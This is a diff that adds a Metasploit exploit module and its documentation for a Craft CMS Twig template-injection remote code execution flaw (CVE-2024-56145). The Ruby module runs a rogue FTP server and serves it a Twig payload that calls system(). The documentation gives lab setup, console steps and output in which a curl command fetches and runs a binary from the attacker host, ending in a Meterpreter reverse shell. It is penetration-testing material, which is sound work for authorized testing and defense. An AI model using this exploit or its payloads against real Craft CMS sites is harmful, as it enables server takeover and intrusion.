diff --git a/documentation/modules/exploit/linux/http/craftcms_ftp_template.md b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md new file mode 100644 index 000000000000..43ea42c8a3f5 --- /dev/null +++ b/documentation/modules/exploit/linux/http/craftcms_ftp_template.md @@ -0,0 +1,275 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS**. + +The vulnerability lies in improper handling of Twig templates, which can be exploited +to inject and execute arbitrary PHP code on the server via crafted HTTP requests. + +--- + +### Affected Versions + +- **5.x Series**: `>= 5.0.0-RC1`, `< 5.5.2` +- **4.x Series**: `>= 4.0.0-RC1`, `< 4.13.2` +- **3.x Series**: `>= 3.0.0`, `< 3.9.14` + +--- + +### Setting Up a Vulnerable Lab + +To test this exploit, follow these steps to set up a vulnerable Craft CMS environment. + +#### Docker Setup + +Install a specific vulnerable version of Craft CMS: + +```bash +mkdir exploit-craft && \ +cd exploit-craft && \ + # Configure DDEV (https://ddev.com/) project for Craft CMS \ +ddev config \ + --project-type=craftcms \ + --docroot=web \ + --create-docroot \ + --php-version="8.2" \ + --database="mysql:8.0" \ + --nodejs-version="20" && \ + # Create the DDEV project +ddev start -y && \ + # Create Craft CMS with the specified version +ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \ + # Install a vulnerable Craft CMS version +ddev composer require "craftcms/cms:5.5.0" \ + --no-scripts \ + --no-interaction --with-all-dependencies && \ + # Set the security key for Craft CMS +ddev craft setup/security-key && \ + # Install Craft CMS +ddev craft install/craft \ + --username=admin \ + --password=password123 \ + --email=admin@example.com \ + --site-name=Testsite \ + --language=en \ + --site-url='$DDEV_PRIMARY_URL' && \ + # Enable register_argc_argv for PHP +mkdir -p .ddev/php/ && \ +echo "register_argc_argv = On" > .ddev/php/php.ini && \ +ddev restart && \ + # Launch the project +echo 'Setup complete. Launching the project.' && \ +ddev launch +``` + +--- + +## Verification Steps + +1. Start the vulnerable Craft CMS instance using the steps above. +2. Launch `msfconsole`. +3. Use the module: `use exploit/linux/http/craftcms_ftp_template`. +4. Set `RHOSTS` to the target Craft CMS instance. +5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed. +6. Execute the exploit with the `run` command. +7. If successful, the module will execute the payload on the target. + +--- + +## Options +No option + +## Scenarios + +#### Successful Exploitation Against Craft CMS 5.5.0 + +**Setup**: + +- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`). +- Metasploit Framework. + +**Steps**: + +To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps: + +1. Start `msfconsole`: +```bash +msfconsole +``` + +2. Load the module: +```bash +use exploit/linux/http/craftcms_ftp_template +``` + +3. Set the `RHOSTS` option to the target Craft CMS instance, for example: +```bash +set RHOSTS exploit-craft.ddev.site +``` + +4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default: + - `RPORT` is set to `80`. + - `TARGETURI` is set to `/`. + +5. Set the payload for exploitation. For example: +```bash +set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +``` + +6. Set the local listener address and port: +```bash +set LHOST 192.168.1.36 +set LPORT 4444 +``` + +7. Optionally, customize FTP-related settings like `SRVPORT` and `FETCH_URIPATH` if needed: +```bash +set SRVPORT 9090 +set FETCH_SRVPORT 8081 +set FETCH_URIPATH /custom_payload_path +``` + +8. Run the exploit: +```bash +exploit +``` + +**Expected Results**: + +If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell: + +```bash +msf6 exploit(linux/http/craftcms_ftp_template) > options + +Module options (exploit/linux/http/craftcms_ftp_template): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASVPORT 0 no The local PASV data port to listen on (0 is random) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS exploit-craft.ddev.site yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl + oit.html + RPORT 80 yes The target port (TCP) + SRVHOST 192.168.1.36 yes The local host or network interface to listen on. This must be an address on the local machine + or 0.0.0.0 to listen on all addresses. + SRVPORT 9090 yes The local port to listen on. + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME QnXFYebbb no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8081 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.1.36 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Unix/Linux Command Shell + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/craftcms_ftp_template) > exploit +[*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu& +[*] Exploit running as background job 57. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/craftcms_ftp_template) > +[*] Fetch handler listening on 192.168.1.36:8081 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Performing vulnerability check... +[+] The target is vulnerable. +[*] Starting FTP service... +[*] Started service listener on 192.168.1.36:9090 +[*] FTP server started on 192.168.1.36:9090 +[*] Sending HTTP request to trigger the payload... +[*] Triggering HTTP request... +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 250 "/default" is current directory. +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 550 /default is not retrievable. +[*] on_client_command_mdtm +[*] -> 550 /default is not retrievable. +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 550 Not a directory +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_mdtm +[*] -> 213 20250110170738 +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_cwd +[*] -> 550 Not a directory +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_mdtm +[*] -> 213 20250110170738 +[*] -> 220 FTP Server Ready +[*] on_client_command_user +[*] -> 331 Username ok, send password. +[*] on_client_command_pass +[*] -> 230 Login successful. +[*] on_client_command_type +[*] -> 200 Type set to: Binary. +[*] on_client_command_size +[*] -> 213 154 +[*] on_client_command_epsv +[*] -> 502 EPSV command not implemented. +[*] on_client_command_retr +[*] -> 150 Opening data connection for /default/index.twig +[*] -> 226 Transfer complete. +[*] on_client_command_quit +[*] -> 221 Goodbye. +[*] Client 172.26.0.2 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 172.26.0.2 (curl/7.88.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.26.0.2 +[*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100 + +msf6 exploit(linux/http/craftcms_ftp_template) > sessions 14 +[*] Starting interaction with 14... +meterpreter > sysinfo +Computer : 172.26.0.2 +OS : Debian 12.8 (Linux 5.15.0-130-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +[*] Waiting for FTP client connections... +[*] Shutting down FTP service... +[*] Server stopped. +``` diff --git a/modules/exploits/linux/http/craftcms_ftp_template.rb b/modules/exploits/linux/http/craftcms_ftp_template.rb new file mode 100644 index 000000000000..e52d9ab1225d --- /dev/null +++ b/modules/exploits/linux/http/craftcms_ftp_template.rb @@ -0,0 +1,221 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::FtpServer + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path', + 'Description' => %q{ + This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument. + The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE). + }, + 'Author' => [ + 'jheysel-r7', # Metasploit module + 'Valentin Lobstein', # Refactor, Fix, and PoC + 'AssetNote' # Vulnerability discovery + ], + 'References' => [ + ['CVE', '2024-56145'], + ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'], + ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms'] + ], + 'Payload' => { + 'BadChars' => "\x22\x27" # " and ' + }, + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-12-19', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + end + + def vulnerable_file_list + %w[/default/index.twig /default/index.html] + end + + def get_payload + "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}" + end + + def send_ftp_response(cli, code, message) + cli.put "#{code} #{message}\r\n" + vprint_status("-> #{code} #{message}") + end + + def on_client_connect(cli) + @state[cli] = { + name: "#{cli.peerhost}:#{cli.peerport}", + ip: cli.peerhost, + port: cli.peerport, + user: nil, + pass: nil, + cwd: '/' + } + send_ftp_response(cli, 220, 'FTP Server Ready') + end + + def on_client_command_user(cli, arg) + vprint_status('on_client_command_user') + if arg.downcase == 'anonymous' + @state[cli][:user] = 'anonymous' + send_ftp_response(cli, 331, 'Username ok, send password.') + else + send_ftp_response(cli, 530, 'Not logged in.') + end + end + + def on_client_command_pass(cli, arg) + vprint_status('on_client_command_pass') + if @state[cli][:user] == 'anonymous' + @state[cli][:pass] = arg + send_ftp_response(cli, 230, 'Login successful.') + else + send_ftp_response(cli, 530, 'Not logged in.') + end + end + + def on_client_command_cwd(cli, arg) + vprint_status('on_client_command_cwd') + if arg == '/default' + @state[cli][:cwd] = '/default' + send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.") + else + send_ftp_response(cli, 550, 'Not a directory') + end + end + + def on_client_command_type(cli, arg) + vprint_status('on_client_command_type') + if arg == 'I' + send_ftp_response(cli, 200, 'Type set to: Binary.') + else + send_ftp_response(cli, 500, 'Unknown type.') + end + end + + def on_client_command_size(cli, arg) + vprint_status('on_client_command_size') + if vulnerable_file_list.include?(arg) + send_ftp_response(cli, 213, get_payload.length.to_s) + else + send_ftp_response(cli, 550, "#{arg} is not retrievable.") + end + end + + def on_client_command_mdtm(cli, arg) + vprint_status('on_client_command_mdtm') + if vulnerable_file_list.include?(arg) + send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S')) + else + send_ftp_response(cli, 550, "#{arg} is not retrievable.") + end + end + + def on_client_command_epsv(cli, _arg) + vprint_status('on_client_command_epsv') + send_ftp_response(cli, 502, 'EPSV command not implemented.') + end + + def on_client_command_retr(cli, arg) + vprint_status('on_client_command_retr') + if vulnerable_file_list.include?(arg) + conn = establish_data_connection(cli) + unless conn + send_ftp_response(cli, 425, "Can't open data connection.") + return + end + send_ftp_response(cli, 150, "Opening data connection for #{arg}") + conn.put(get_payload) + conn.close + send_ftp_response(cli, 226, 'Transfer complete.') + else + send_ftp_response(cli, 550, 'File not available.') + end + rescue IOError => e + vprint_error("Data transfer failed: #{e.message}") + send_ftp_response(cli, 425, 'Data transfer failed.') + end + + def on_client_command_quit(cli, _arg) + vprint_status('on_client_command_quit') + send_ftp_response(cli, 221, 'Goodbye.') + end + + def on_client_command_unknown(cli, cmd, arg) + vprint_status('on_client_command_unknown') + send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.") + end + + def check + vprint_status('Performing vulnerability check...') + nonce = Rex::Text.rand_text_alphanumeric(8) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'vars_get' => { '--configPath' => "/#{nonce}" } + ) + + if res&.body&.include?('mkdir()') && res.body.include?(nonce) + CheckCode::Vulnerable + else + CheckCode::Safe + end + end + + def trigger_http_request + vprint_status('Triggering HTTP request...') + templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" + send_request_raw( + 'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}", + 'method' => 'GET' + ) + rescue StandardError => e + vprint_error("HTTP request failed: #{e.message}") + end + + def start_ftp_service + if datastore['SSL'] == true + reset_ssl = true + datastore['SSL'] = false + end + start_service + if reset_ssl + datastore['SSL'] = true + end + end + + def exploit + vprint_status('Starting FTP service...') + start_ftp_service + vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + vprint_status('Sending HTTP request to trigger the payload...') + trigger_http_request + end +end